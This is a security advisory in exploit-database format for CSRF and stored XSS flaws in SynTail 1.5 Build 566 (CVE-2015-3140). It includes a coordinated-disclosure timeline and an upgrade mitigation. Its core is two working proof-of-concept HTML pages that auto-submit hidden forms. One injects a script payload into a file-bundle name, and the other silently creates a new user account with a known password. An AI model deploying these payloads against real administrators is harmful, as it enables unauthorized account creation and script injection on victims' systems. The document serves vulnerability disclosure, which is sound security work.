# Exploit Title: Multiple vulnerabilities in SynTail 1.5 Build 566 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SynTailDownload.htm
# Version: 1.5 Build 566. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
SynTail 1.5 Build 566 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to create a new file bundle, and combines it with one of the stored XSS vulnerabilities

<html>
<body>
<form name="evilform" method="post" action="http://192.168.0.8:9555/app">
<input type="hidden" name="friendlyName" value="<script>alert("Marlow")</script> />
<input type="hidden" name="selectedPath" value="/home/" />
<input type="hidden" name="showFiles" value="true" />
<input type="hidden" name="st" value="addfb" />
<input type="hidden" name="operation" value="mngFB" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
</body>
</html> 


# POC 2 #
The following PoC uses the CSRF vulnerability to create a new user with the details shown

<html>
<body>
<form name="evilform" method="post" action="http://192.168.1.245:9555/app?operation=mngUsers">
<input type="hidden" name="fullName" value="marlow" />
<input type="hidden" name="email" value="marlow@marlow.com" />
<input type="hidden" name="password" value="marlow" />
<input type="hidden" name="showFiles" value="true" />
<input type="hidden" name="st" value="addfb" />
<input type="hidden" name="operation" value="mngUsers" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
</body>
</html> 


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Manage Users > Create a new user > Full name field and Email field
Example URL: POST request

Manage file bundles > Create a new file bundle > Friendly name field and File path field
Example URL: POST request


# MITIGATION #
Upgrade to the latest build of SynTail, available from the link shown.